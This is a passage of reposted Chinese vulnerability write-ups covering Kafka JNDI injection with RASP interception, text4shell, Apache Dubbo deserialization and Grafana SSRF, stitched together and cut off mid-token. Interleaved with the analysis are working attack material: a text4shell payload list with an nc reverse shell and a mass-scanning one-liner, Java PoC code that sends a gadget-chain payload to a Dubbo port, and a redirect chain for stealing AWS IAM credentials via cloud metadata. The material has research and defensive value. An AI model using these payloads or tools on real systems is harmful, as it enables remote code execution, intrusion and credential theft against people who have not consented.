Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)

Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)

本文转自云鲨RASP 并作补充

漏洞简介

Apache Kafka是一个分布式数据流处理平台,可以实时发布、订阅、存储和处理数据流。Kafka Connect是一种用于在kafka和其他系统之间可扩展、可靠的流式传输数据的工具。攻击者可以利用基于SASLJAAS 配置和SASL 协议的任意Kafka客户端,对Kafka Connect worker 创建或修改连接器时,通过构造特殊的配置,进行JNDI 注入来实现远程代码执行。

影响版本

2.4.0<=Apache kafka<=3.3.2

修复方案

更新Apache Kafka至官方最新版本

环境搭建

通过https://github.com/vulhub/vulhub搭建

漏洞复现

exp可参考:

https://github.com/projectdiscovery/nuclei-templates/blob/5d90e8275084b0ae9166ec38cacd22e5a5a94fb8/http/vulnerabilities/apache/apache-druid-kafka-connect-rce.yaml

发起攻击请求:

构造payload ,执行新建/tmp/test.txt文件

image

验证漏洞存在,文件新建成功

image

开启RASP后发起攻击:

在业务优先模式下,RASP会出现JNDI注入的告警,拦截最终的命令执行

image

堆栈信息为

image

在防护模式下将直接在JNDI注入处被拦截

image

堆栈信息为

image

漏洞分析

开始

1
org.apache.kafka.clients.producer.KafkaProducer#KafkaProducer(java.util.Properties)

image

跟进到

1
org.apache.kafka.clients.producer.KafkaProducer#KafkaProducer(java.util.Propertiesorg.apache.kafka.common.serialization.Serializer<K>,org.apache.kafka.common.serialization.Serializer<V>)

image

调用

1
org.apache.kafka.common.utils.Utils#propsToMap

对传入对象进行处理

image

将map型的对象传入

1
org.apache.kafka.clients.producer.KafkaProducer#KafkaProducer(java.util.Map<java.lang.String,java.lang.Object>org.apache.kafka.common.serialization.Serializer<K>org.apache.kafka.common.serialization.Serializer<V>)

image

之后调用

1
org.apache.kafka.clients.producer.ProducerConfig#appendSerializerToConfig

image

将返回的newConfigs传入

1
org.apache.kafka.clients.producer.ProducerConfig#ProducerConfig(java.util.Map<java.lang.String,java.lang.Object>)

image

将配置参数传入

1
org.apache.kafka.clients.producer.KafkaProducer#KafkaProducer(org.apache.kafka.clients.producer.ProducerConfig,org.apache.kafka.common.serialization.Serializer<K>org.apache.kafka.common.serialization.Serializer<V>org.apache.kafka.clients.producer.internals.ProducerMetadata,org.apache.kafka.clients.KafkaClientorg.apache.kafka.clients.producer.internals.ProducerInterceptors<K,V>org.apache.kafka.common.utils.Time)

image

赋值后调用

1
org.apache.kafka.clients.producer.KafkaProducer#newSender

image

image

调用到

1
org.apache.kafka.clients.ClientUtils#createChannelBuilder

image

赋值后调用

1
org.apache.kafka.common.network.ChannelBuilders#clientChannelBuilder

image

这里对值做了一个判断后调用

1
org.apache.kafka.common.network.ChannelBuilders#create

image

image

image

Create方法中得到map型的configs后进行switch,得到SaslChannelBuilder类型channelBuilder的对象,switch结束后调用了

1
org.apache.kafka.common.network.SaslChannelBuilder#configure

image

image

1
org.apache.kafka.common.network.SaslChannelBuilder#configure

进入循环后到

1
org.apache.kafka.common.security.authenticator.LoginManager#acquireLoginManager

image

image

image

判断值后到

1
org.apache.kafka.common.security.authenticator.LoginManager#LoginManager

image

image

跟进到

1
org.apache.kafka.common.security.authenticator.AbstractLogin#login

image

调用

1
javax.security.auth.login.LoginContext#login

image

调用

1
javax.security.auth.login.LoginContext#invokePriv

image

调用

1
javax.security.auth.login.LoginContext#invoke

进行逻辑判断后调用initialize方法

image

image

Initialize中得到userProvider

image

user.provider.url通过jndi提供

image

调用

1
com.sun.security.auth.module.JndiLoginModule#login

image

调用

1
com.sun.security.auth.module.JndiLoginModule#attemptAuthentication

image

通过

1
javax.naming.InitialContext#lookup(java.lang.String)

执行userProvider的值

image

image

由于RASP对javax.naming.InitialContext.lookup调用做了防护策略检测,所以会在此处拦截。

Reference

text4shell CVE-2022-42889 poc

text4shell CVE-2022-42889 poc

本文转自雨苁 并作补充

漏洞描述

在 Apache Common Text 包 1.5 到 1.9 中发现了一个存在缺陷的代码执行版本。攻击者从 Apache Commons Text 中包含的过程中成功完成,插值可能被动态定义。服务器应用程序会受到影响(RCE) 和不受远程服务器的隐私接触的影响。

Apache Commons Text 执行变量插值,允许动态评估和扩展属性。插值的标准格式是“${prefix:name}”,其中“prefix”用于定位执行插值的 org.apache.commons.text.lookup.StringLookup 的实例。从 1.5 版到 1.9 版,默认 Lookup 实例集包括可能导致任意代码执行或与远程服务器联系的插值器。这些查找是: – “script” – 使用 JVM 脚本执行引擎 (javax.script) 执行表达式 – “dns” – 解析 dns 记录 – “url” – 从 url 加载值,包括来自远程服务器 如果使用了不受信任的配置值,则在受影响的版本中使用插值默认值的应用程序可能容易受到远程代码执行或与远程服务器的无意接触的影响。

建议用户升级到 Apache Commons Text 1.10.0,默认情况下禁用有问题的插值器。

影响范围

  • 如果您依赖于使用 1.10.0 之前的 commons-text 版本的软件,您可能仍然不会受到攻击:只有当该软件使用StringSubstitutorAPI 而没有正确清理任何不受信任的输入时,您才会受到影响。
  • 如果您自己的软件使用 commons-text,请仔细检查它是否使用StringSubstitutorAPI,而没有正确清理任何不受信任的输入。如果是这样,更新到 1.10.0 可能是一个快速的解决方法,但推荐的解决方案是同时正确验证和清理任何不受信任的输入。

Apache Commons Text 是一个低级库,用于执行各种文本操作,例如转义、计算字符串差异以及用通过插值器查找的值替换文本中的占位符。使用字符串替换功能时,一些可用的插值器可以触发网络访问或代码执行。这是有意的,但这也意味着如果应用程序在传递给替换的字符串中包含用户输入而未对其进行适当清理,则攻击者将允许攻击者触发这些插值器。

出于这个原因,Apache Commons Text 团队决定将配置更新为“默认情况下更安全”,从而减轻无法验证输入的影响,并且不会让攻击者访问这些插值器。但是,仍然建议用户谨慎对待不受信任的输入。

我们目前不知道有任何应用程序将不受信任的输入传递给替代者,因此在 Apache Commons Text 1.10.0 之前可能会受到此问题的影响。

此问题与Log4Shell (CVE-2021-44228)不同,因为在 Log4Shell 中,可以从日志消息正文中进行字符串插值,该正文通常包含不受信任的输入。在 Apache Common Text issue 中,相关方法明确用于执行字符串插值并明确记录在案,因此应用程序不太可能在没有适当验证的情况下无意中传递不受信任的输入。

漏洞利用条件

为了利用这些漏洞,必须满足以下要求

CVE-2022-42889 poc

1
${script:javascript:java.lang.Runtime.get.Runtime().exec(\''.trim($cmd).'\')}

用有效负载替换参数值:

1
2
3
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

https://your-target.com/exploit?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7

网址

1
2
3
${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

https://your-target.com/exploit?search=%24%7Burl%3AUTF-8%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7

Dns

1
2
3
${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

https://your-target.com/exploit?search=%24%7Bdns%3Aaddress%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7

批量

有效载荷.txt

1
2
3
4
5
6
7
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

for payload in $(cat payloads.txt|sed 's/ COLLABORATOR-HERE/SPACEid.burpcollaborator.com/g'); do echo TARGET.com | gau --blacklist ttf,woff,svg,png | qsreplace "$payload" | sed 's/SPACE/%20/g' | grep "java.lang.Runtime.getRuntime" >> payloads-final.txt;done && ffuf -w payloads-final.txt -u FUZZ

如何利用 CVE-2022-42889

为了重现攻击,易受攻击的组件部署在 Docker 容器中,可从 EC2 实例访问,该实例将由攻击者控制。使用 netcat (nc) 命令,我们可以打开与易受攻击的应用程序的反向 shell 连接。

易受攻击的 Web 应用程序公开了一个搜索 API,其中查询通过Commons Text 的StringSubstitutor进行插值:

1
http://web.app/text4shell/attack?search=<query>

以下有效载荷可用于利用该漏洞并打开反弹 shell:

1
${script:javascript:java.lang.Runtime.getRuntime().exec('nc 192.168.49.1 9090 -e /bin/sh')}

此有效负载由“${prefix:name}”组成,它触发字符串查找。如上所述,“script”、“dns”和“url”是可以作为前缀来利用漏洞的键。

在发送精心制作的请求之前,我们需要使用 netcat (nc) 命令设置反向 shell 连接以侦听端口 9090

1
nc -nlvp 9090

我们现在可以发送精心制作的请求,URL 对有效负载进行编码,如下所示。

image

我们可以看到攻击者成功打开了与易受攻击的应用程序的连接。

image

现在攻击者可以以 root 身份与易受攻击的机器交互并执行任意代码。

CVE-2022-42889 的影响

根据CVSSv3 系统,它的CRITICAL 严重性得分为 9.8 。

由于易于利用以及在机密性、完整性和可用性方面的巨大潜在影响,严重性至关重要。正如我们在上一节中通过精心设计的请求展示的那样,您可以完全控制易受攻击的系统。

但是,这些漏洞不太可能与之前的 log4shell 和 spring4shell 产生相同的影响。

查看易受攻击的组件,利用的可能性与 Apache Commons Text 库的使用有关。具体来说,只有当它使用一些用户控制的输入实现 StringSubstitutor 对象时,才有可能利用它。这种在生产环境中的实现不像 Log4j 中易受攻击的字符串替换那样普遍。因此,Text4Shell 的大规模影响并不能真正与 Log4Shell 相提并论。

检测和缓解 CVE-2022-42889

如果您受到CVE-2022-42889的影响,您应该将应用程序Apache Commons Text 更新到版本1.10。

burpsuite插件之Text4Shell漏扫扫描器

项目地址:

GitHub:
https://github.com/silentsignal/burp-text4shell

image

插件下载地址:

burp-text4shell.jar

单问题扫描

关于检测功能的注意事项:此插件只会为内置的主动扫描器提供有效负载,因此为了获得最佳覆盖率与性能,您必须正确配置扫描 – 就像任何其他内置或扩展提供的扫描一样.

如果您只想扫描 CVE-2022-42889(而不是 XSS 或 SQLi 等其他东西),这个插件可以实现。

按照以下说明,如果使用作为结果创建的扫描配置,扫描仪将仅对所有插入点执行 Text4Shell 检查。

  1. 创建新扫描时,单击Select from library选项Scan configuration
  2. 选择Audit checks - extensions onlyBurp Suite Pro 2.x 中内置的
  3. 禁用所有其他已注册活动扫描检查的扩展程序(如果适用)(例如 ActiveScan++、反斜杠驱动扫描、Burp Bounty 等),以便仅运行 Text4Shell 扫描程序

建造

执行./gradlew build,您将准备好插件 build/libs/burp-text4shell.jar

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

本文转自RacerZ 并作补充

写在前面

最近学习并梳理了一下 Apache dubbo 的两个经典由于泛化调用处理存在问题的 CVE 漏洞,并分析了一下最新 CVE-2023-29234 ,总结出了两种利用方式。

CVE-2021-30179

前置:泛化调用

泛化调用(客户端泛化调用)是指在调用方没有服务方提供的 API(SDK)的情况下,对服务方进行调用,并且可以正常拿到调用结果。详细见 https://cn.dubbo.apache.org/zh-cn/overview/tasks/develop/generic/

调试分析

org.apache.dubbo.remoting.transport.DecodeHandler#received 作为客户端 RPC 调用请求信息处理的入口点,调用 decode 方法。

image

根据参数类型可知实际会调用到 org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode()
其中会先调用 CodecSupport.getSerialization 方法,根据 id 选择相应的反序列化策略,默认会走 org.apache.dubbo.common.serialize.hessian2.Hessian2Serialization#deserialize ,最终返回一个 Hessian2ObjectInput 实例。接着这一部分会按照顺序依次解析序列化流,获取 dubbo 服务版本、服务类路径、子版本、服务方法名以及参数描述符。

image

之后会根据方法名和参数名在服务端查找是否存在对应的服务方法,如果为 null,则调用 RpcUtils.isGenericCall 判断是否为泛型引用。

image

image

如果是的话则调用 ReflectUtils.desc2classArray 方法显式加载 desc 当中的类。之后根据类型执行 readObject 反序列化参数值,并设置到 RpcInvocation 实例的各个字段当中。

image

这个地方之前也是存在反序列化攻击利用的(感兴趣的师傅可以翻一翻以前的 CVE 分析)。不过根据

https://threedr3am.github.io/2021/06/01/CVE-2021-30179 - Dubbo Pre-auth RCE via Java deserialization in the Generic filter/
提到:“受限于默认hessian或者已配置的序列化类型,具有一定的局限性”。

整体梳理一下这部分序列化/反序列化参数顺序:

  • string * 5 (dubboVersion / path / version / methodName / desc)
  • object * args (参数值实例,具体数量根据方法描述符 desc 决定)
  • map (这里面可用于设置 generic key)
    之后会去执行 org.apache.dubbo.remoting.exchange.support.header.HeaderExchangeHandler#received ,这里关注到 message 参数类型当前为 Request 类,因此会走第一个分支(后续会关注到 Response 分支部分)。

image

观察到刚才解析得到的各个参数值位于 messagemData 字段。

image

第一个分支当中会再次取出 mData 的字段值转化为 RpcInvocation 类实例,并调用 org.apache.dubbo.remoting.exchange.support.ExchangeHandlerAdapter#received 方法,进一步调用 reply

image

之后就会触发一系列 Filter 的 invoke 方法,调用栈如下:

image

关键 filter 函数是 org.apache.dubbo.rpc.filter.GenericFilter#invoke ,再次判断是否为泛型引用之后,会根据 inv 中提供的方法名从 dubbo 服务中找到对应方法,并取出参数类型和具体的参数值。

image

中间会从 invattachments 中取出 key 为 generic 的值,这个 generic 代表不同的反序列化策略,除 raw.return 外还有 nativejava、bean、protobuf-json 等。

raw.return 反序列化方式分析

这里如果值为 raw.return ,则会调用 PojoUtils.realize 方法,接着会对每个 args 值调用 realize0 方法,如果这个 arg 属于 Map 类型,则取出 class 键值,并使用 ClassUtils.forName 方法,其中会对传入的 className 使用应用类加载器进行类加载。

image

之后对于加载的 class 调用 newInstance 进行实例化。这里首先会去调用 class 默认的 public 构造函数,如果无法访问则会去遍历所有的构造器,优先获取参数个数为 0 的构造函数并反射调用。

image

之后便是漏洞的一大利用点,它针对 HashMap 当中剩下的键值,先尝试获取 key 在实例化 class 当中对应 field 的 setter 方法(要求为单参数),如果可以获取到的话。会用和刚才相同的逻辑递归实例化参数值,并反射调用;如果获取不到 setter 方法,则直接反射设置 field 的值。

image

因此针对 raw.return 反序列化方式的利用是通过 Map 的方式来传入利用 class,可利用 class 的位置有 3 个:

1
2
3
1. public/private 修饰的无参构造函数
2. 参数为 1 的 setter 方法
3. 支持对实例化的 class 任意字段赋值

bean 反序列化方式分析

这里会先遍历判断每个参数值是否为 JavaBeanDescriptor 类型,如果是则调用 JavaBeanSerializeUtil.deserialize 方法。

image

后面会调用到 instantiateForDeserialize 实例化方法,其中调用name2Class 方法中的 Class.forName 进行类加载,然后 instatiate 实例化。

image

image

之后 deserializeInternal ,与 raw.return 的利用思路类似,如果 beanDescriptor 实例的 type 等于 TYPE_BEAN 的话则会依次执行指定 key 字段的 setter 方法或者反射为字段赋值。

image

PS:其中 type 可以通过构造 beanDescriptor 实例时设置。

image

native 反序列化方式

这个利用比较特殊,需要配置中开启 dubbo.security.serialize.generic.native-java-enable 选项才能使用。
这里如果参数值为 byte[] 数组的话,则会传入 UnsafeByteArrayInputStream 构造函数当中,后加载并调用 NativeJavaObjectInputdeserialize 方法。

image

该类的 inputStream 字段封装了 ObjectInputStream 输入流,最终反序列化时也会调用的是后者,因此可触发二次反序列化。

image

CVE-2023-23638 (学习 bypass 思路)

受影响版本:Apache Dubbo 3.0.x <= 3.0.13;3.1.x <= 3.1.5
前版本 diff 分析
org.apache.dubbo.rpc.filter.GenericFilter#invoke 方法当中,会对每个 args 值调用 realize0 方法,如果这个 arg 属于 Map 类型,则取出 class 键值,调用 SerializeClassChecker.getInstance().validateClass ,里面会作黑名单检查。

image

image

bypass 思路

native 反序列化方式

这个反序列化方式可以让我们触发一个二次反序列化,从而绕过上述安全检查。但是困难点在于 dubbo.security.serialize.generic.native-java-enable 选项默认未开启,因此利用思路就是寻找如何将它打开。
于是这个 org.apache.dubbo.common.utils.ConfigUtils#setProperties 方法就十分有用,利用它可将CommonConstants.ENABLE_NATIVE_JAVA_GENERIC_SERIALIZE 属性设置为 true 即可。当然从 dubbo 的源码中可知 System.setProperties 也是可以直接设置 dubbo 服务属性的。
因此绕过部分的 map 就可以写成:

image

raw.return 反序列化方式

SerializeClassChecker 类的 CLASS_DESERIALIZE_BLOCKED_SET 置空或者 OPEN_CHECK_CLASS 设置为 false,这个类实例的获取方式为单例模式,因此需要控制 INSTANCE 字段为上面指定的实例。

image

绕过部分的 map 可以写成:

image

修复方案

新增 SerializeClassChecker 类检查器,其中指定了 dubbo.application.check-serializable 默认为 true。

image

其中的 validateClass 方法会检查指定反序列化类是否可序列化。这个方法会在 realize0 中调用。

image

之前需要用来设置属性的利用类 org.apache.dubbo.common.utils.ConfigUtils 以及 java.lang.System 均未实现序列化接口,因此不再可利用;同样,org.apache.dubbo.common.utils.SerializeClassChecker 也未实现序列化接口,无法覆盖其相关检查字段。

CVE-2023-29234 (1day)

受影响版本:

image

git diff: https://github.com/apache/dubbo/commit/9ae97ea053dad758a0346a9acda4fbc8ea01429a
org.apache.dubbo.common.serialize.ObjectInput#readThrowable 方法抛出异常的地方作了修改,而之前版本会直接打印 obj 对象,隐式触发 toString 方法,漏洞场景类似 CVE-2021-43297。

image

反向溯源调用位置,位于该函数的 switch-case 语句的 DubboCodec.RESPONSE_WITH_EXCEPTION 分支处调用 org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcResult#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)

image

调用链如下:

1
2
3
4
5
6
7
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcResult#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)
--->
handleException()
--->
ObjectInput.readThrowable()
--->
obj.toString()

Dubbo 编解码那些事_decodeablerpcresult-CSDN博客 可知 DecodeableRpcResult 这个类是在 dubbo 服务的消费者接收提供者方发来的响应时解码使用。

利用方式一:fake server

测试版本:Apache Dubbo 3.1.10
我们知道 dubbo 支持多种序列化方式,对于 dubbo 协议来说默认为 hessian2,其他如下所示(hessian2 对应 id 为 2,也可以通过 Serialization.getContentTypeId() 获得)

image

由官方文档可知,这个协议如何配置完全由服务方定的,因此完全可以做一个 fake server 来诱导客户端主动连接。

image

因此我们可以重写服务端编码响应信息函数的部分逻辑,主动构造一个用于上面提到的 toString 调用链对象来替代 Throwable 实例 th。
具体重写位置在 org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#encodeResponseData(org.apache.dubbo.remoting.Channel, org.apache.dubbo.common.serialize.ObjectOutput, java.lang.Object, java.lang.String)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
@Override
protected void encodeResponseData(Channel channel, ObjectOutput out, Object data, String version) throws IOException {
Result result = (Result) data;
// currently, the version value in Response records the version of Request
boolean attach = Version.isSupportResponseAttachment(version);
// Throwable th = result.getException();
Object th = null; // 利用点: 用于 toString 的 gadget chain
try {
th = getThrowablePayload("open -a calculator");
} catch (Exception e) {

}

if (th == null) {
Object ret = result.getValue();
if (ret == null) {
out.writeByte(attach ? RESPONSE_NULL_VALUE_WITH_ATTACHMENTS : RESPONSE_NULL_VALUE);
} else {
out.writeByte(attach ? RESPONSE_VALUE_WITH_ATTACHMENTS : RESPONSE_VALUE);
out.writeObject(ret);
}
} else {
out.writeByte(attach ? RESPONSE_WITH_EXCEPTION_WITH_ATTACHMENTS : RESPONSE_WITH_EXCEPTION);
// out.writeThrowable(th);
out.writeObject(th); // 直接序列化对象即可
}

if (attach) {
// returns current version of Response to consumer side.
result.getObjectAttachments().put(DUBBO_VERSION_KEY, Version.getProtocolVersion());
out.writeAttachments(result.getObjectAttachments());
}
}

这里的 toString 调用链以 Rome toString 的利用部分为例,师傅们也可以选择/挖掘其他可利用的 gadget;同时,为了方便这里直接指定服务端的协议配置中的序列化方式为 nativejava,它反序列化时直接会使用 ObjectInputStream#readObject 。大家也可以探索一下其他序列化方式当中的黑名单绕过情况。

1
<dubbo:protocol name="dubbo" port="20880" serialization="nativejava"/>

客户端发起正常服务请求后,解码响应信息时顺利触发至 org.apache.dubbo.common.serialize.ObjectInput#readThrowable 位置,状态如下:

image

利用方式二:客户端打服务端

测试版本:3.1.5
由于 dubbo 并没有限制客户端不能发送 Response 数据,因此客户端同样可以构造一个 Response 信息发给服务端。
但是在服务端解码响应信息时,即函数调用位置为 org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#decodeBody,不同版本之间存在差异性,这里测试了一下 3.1.10 以及 3.1.5 之间的区别。
首先是 3.1.5 版本,注意到在创建 DecodeableRpcResult 实例时,其中一个构造参数 invocation 来自于 getRequestData(id)

image

跟入可知这个 invocation 来自于 dubbo 服务当中还没处理完毕的请求,会根据 id 值来获取,而由于我们这里只发送了一个 Response 信息,DefaultFuture 当中的 FUTURES map 为空,这里也就会返回 null。

image

但是依然可以将 DecodeableRpcResult 实例构造出来,并设置到 res 变量的 mResult 字段当中。

image

后续在触发到 toString 入口的过程中,不会因为 mResult 字段为 null 或者非 Decodeable 类而中断(DecodeableRpcResultDecodeable 的实现)。

image

而对于 3.1.10 版本,getRequestData 方法如果获取不到 future 会直接抛出异常,进而无法创建出有效的 DecodeableRpcResult 实例。

image

进而,后续 message 参数会由于是 null 而直接返回。

image

这里给出 3.1.5 版本下的测试 POC 核心部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public static void main(String[] args) throws Exception {

ByteArrayOutputStream boos = new ByteArrayOutputStream();
ByteArrayOutputStream nativeJavaBoos = new ByteArrayOutputStream();
Serialization serialization = new NativeJavaSerialization();
NativeJavaObjectOutput out = new NativeJavaObjectOutput(nativeJavaBoos);

// header.
byte[] header = new byte[HEADER_LENGTH];
// set magic number.
Bytes.short2bytes(MAGIC, header);
// set request and serialization flag.
header[2] = serialization.getContentTypeId();

header[3] = Response.OK;
Bytes.long2bytes(1, header, 4);

// result
Object exp = getThrowablePayload("open -a calculator"); // Rome toString 利用链
out.writeByte(RESPONSE_WITH_EXCEPTION);
out.writeObject(exp);

out.flushBuffer();

Bytes.int2bytes(nativeJavaBoos.size(), header, 12);
boos.write(header);
boos.write(nativeJavaBoos.toByteArray());

byte[] responseData = boos.toByteArray();

Socket socket = new Socket("127.0.0.1", 20880);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(responseData);
outputStream.flush();
outputStream.close();
}

protected static Object getThrowablePayload(String command) throws Exception {
Object o = Gadgets.createTemplatesImpl(command);
ObjectBean delegate = new ObjectBean(Templates.class, o);

return delegate;
}

image

完整 POC 项目基于 DubboPOC 作的修改和添加,可见 CVE-2023-29234
PS:git diff 当中还存在其他位置的 patch,值得进一步探索其他的利用方式(篇幅有限)。

引用

[1] Apache dubbo 反序列化漏洞(CVE-2023-23638)分析及利用探索 - 先知社区 (aliyun.com)
[2] CVE-2023-29234: Bypass serialize checks in Apache Dubbo-Apache Mail Archives
[3] 开发服务 | Apache Dubbo
[4] Apache Dubbo CVE-2023-23638 JavaNative 反序列化漏洞分析 - 先知社区 (aliyun.com)
[5] 【漏洞分析】Dubbo Pre-auth RCE(CVE-2021-30179) (qq.com)
[6] RPC 通信协议 | Apache Dubbo
[7] DubboPOC/src/main/java/top/lz2y/vul/CVE202323638.java at main · lz2y/DubboPOC (github.com)
[8] Apache Dubbo 反序列化漏洞(CVE-2023-29234) · Issue #334 · y1ong/blog-timeline (github.com)

挖洞经验 | Grafana应用实例未授权读取型SSRF(CVE-2020-13379)

挖洞经验 | Grafana应用实例未授权读取型SSRF(CVE-2020-13379)

本文转自clouds 并作补充

近期,我在做Grafana公司的安全众测,通过研究我发现综合利用重定向跳转和URL参数注入漏洞,可以在Grafana产品任意实例中实现未授权的服务端请求伪造攻击(SSRF),漏洞影响版本为3.0.1至7.0.1的大范围Grafana产品,相关情况上报后被分配了CVE-2020-13379的漏洞编号。(漏洞PDF技术细节点此下载

漏洞发现过程

在Grafana名为api.go的开源文件中,位于其第423行有这么一行代码:

r.Get("/avatar/:hash", avatarCacheServer.Handler)

为了加载用户上传保存于gravatar上的头像图片,该行代码读取**/avatar/:hash中的哈希值(如https://www.gravatar.com/avatar/205e460b479e2e5b48aec07710c08d50/.....**),并把它传递给域名为**secure.grafana.com**的相关路径。这里,大致的代码逻辑如下:

1
2
3
4
5
const (
gravatarSource = "https://secure.gravatar.com/avatar/"
)
...
case err = <-thunder.GoFetch(gravatarSource+this.hash+"?"+this.reqParams, this):

上述代码逻辑中的this.hash也就是前述**/avatar/:hash经URL编码传递过来的hash,实际上这个被URL编码过的:hash串中,允许我们插入其它参数从而形成URL参数注入。在secure.gravatar.com域名路径下,如果向其中插入参数d,即https://secure.gravatar.com/avatar/205e460b479e2e5b48aec07710c08d50?d=....**,之后,就会发生跳转到另一个图片存储服务**i0.wp.com**的情况,这是后续跳转利用链中的第一个跳转问题。

所以,我们还需要从i0.wp.com继续构造跳转,好在最后,由于主机验证机制中一个不当的正则表达式应用,我们成功形成了跳转。过程是这样的:

i0.wp.com中的URL链接构造为**i0.wp.com/{domainOfImage}/{pathOfImage}*,该URL链接的目的在于,i0.wp.com依托.bp.blogspot.com域名存储了自身的一部份图片,因此,i0.wp.com还会继续形成对.bp.blogspot.com的跳转。后经我花费了几个小时的测试,发现利用以下链接可在该跳转中形成一个开放重定向跳转:

http://i0.wp.com/google.com?;/1.bp.blogspot.com/

最终,综合两个跳转,可以在Grafana后台形成以下跳转链接:

https://grafanaHost/avatar/test?d=google.com%3f;/bp.blogspot.com

在以上链接中,Grafana后台会获取test?d=google.com%3f;/bp.blogspot.com作为**:hash**值。

回到前述的d参数场景中,在以下链接中加入d参数:

https://secure.gravatar.com/avatar/anything?d=google.com%3f;/1.bp.blogspot.com/

该请求会发生一个到i0.wp.com的跳转,成为:

http://i0.wp.com/google.com%3f%;/1.bp.blogspot.com/

然后,i0.wp.com会继续发生指向google.com的跳转,成为:

https://google.com?;/1.bp.blogspot.com

用户头像avatar的源码文件中可以看到,其中具备内容类型属性信息Content-Type: image/jpeg,以及请求后的相关响应机制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
...
if avatar.Expired() {
// The cache item is either expired or newly created, update it from the server
if err := avatar.Update(); err != nil {
log.Trace("avatar update error: %v", err)
avatar = this.notFound
}
}

if avatar.notFound {
avatar = this.notFound
} else if !exists {
if err := this.cache.Add(hash, avatar, gocache.DefaultExpiration); err != nil {
log.Trace("Error adding avatar to cache: %s", err)
}
}

ctx.Resp.Header().Add("Content-Type", "image/jpeg")

if !setting.EnableGzip {
ctx.Resp.Header().Add("Content-Length", strconv.Itoa(len(avatar.data.Bytes())))
}

ctx.Resp.Header().Add("Cache-Control", "private, max-age=3600")

if err := avatar.Encode(ctx.Resp); err != nil {
log.Warn("avatar encode error: %v", err)
ctx.WriteHeader(500)
}

因此,综上所述的各种技术利用点,可以构造出以下成功的SSRF运行链接,让Grafana后台服务器发起对YOURHOSTHERE的请求。

https://grafanaHost/avatar/test?d=redirect.rhynorater.com?;/bp.blogspot.com/YOURHOSTHERE

该漏洞影响的不仅只是Grafana的产品实例,而且其在Gitlab(/-/grafana)和SourceTree(/-/debug/grafana/)上的源码实例也受影响。

漏洞利用

正如我在HackerOne的HacktivityCon会上所说的, 该漏洞有多个有意思的利用点。接下来,我就来分享一下具体的漏洞利用方式。

漏洞利用1-对Grafana项目云实例元数据API的操控访问(Manipulate AWS/Cloud Metadata APIs)

现代SSRF漏洞的一种流行利用就是用它去执行对目标系统云上元数据API接口的访问,以从中获得相关敏感信息。元数据API接口大多都是AWS的云形式,我们可以设法从中获取到Grafana项目EC2实例中的用户身份验证授权凭证(IAM),然后以此横向渗透到组织机构内网。迄今为止,攻击者已经利用此种SSRF利用方法渗透入侵,导致了一些大规模的数据泄露事件。

作为攻击者来说,主要关心的就是尝试从公开的AWS元数据服务器(169.254.169.254)中,用以下访问链接获取用户IAM凭证:

http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE(实例项目名称)

成功获取的用户IAM凭证内容如下:

1
2
3
4
5
6
7
8
9
{
"Code" : "Success",
"LastUpdated" : "2019-08-15T18:13:44Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIAN0P3n0W4y1nv4L1d",
"SecretAccessKey" : "A5tGuw2QXjmqu8cTEu1zs0Dw8yt905HDCzrF0AdE",
"Token" : "AgoJb3JpZ2luX2VjEJv//////////wEaCXVzLWVhc3QtMSJHMEUCIEX46oh4kz6AtBiTfvoHGqfVuHJI29ryAZy/wXyR51SAiEA04Pyw9HSwSIRNx6vmYpqm7sD+DkLQiFzajuwI2aLEp4q8gMIMxABGgwzNjY4OTY1NTU5NDkiDOBEJDdUKxKUkgkhGyrPA7u8oSds5hcIM0EeoHvgxvCX/ChiDsuCEFO1ctMpOgaQuunsvKLzuaTp/86V96iZzuoPLnpHHsmIUTrCcwwGqFzyaqvJpsFWdv89YIhARAMlcQ1Cc9Cs4pTBSYc/BvbEFb1z0xWqPlBNVKLMzm2K5409f/KCK/eJsxp530Zt7a1MEBp/rvceyiA5gg+6hOu65Um+4BNT+CjlEk3gwL6JUUWr9a2LKYxmyR4fc7XtLD2zB0jwdnG+EPv7aDPj7EoWMUoR/dOQav/oSHi7bl6+kT+koKzwhU/Q286qsk0kXMfG/U95TdUr70I3b/L/dhyaudpLENSU7uvPFi8qGVGpnCuZCvGL2JVSnzf8327jyuiTF7GvXlvUTh8bjxnZ8pAhqyyuxEW1tosL2NuqRHmlCCfnE3wLXJ0yBUr7uxMHTfL1gueEWghymIGhAxiYIKA9PPiHCDrn4gl5AGmLyzqxenZgcNnuwMjeTnhQ0mVf7L8PR4ZWRo9h3C1wMbYnYNi5rdfQcByMIN/XoR2J74sBPor/aObMMHVnmpNjbtRgKh0Vpi48VgXhXfuCAHka3r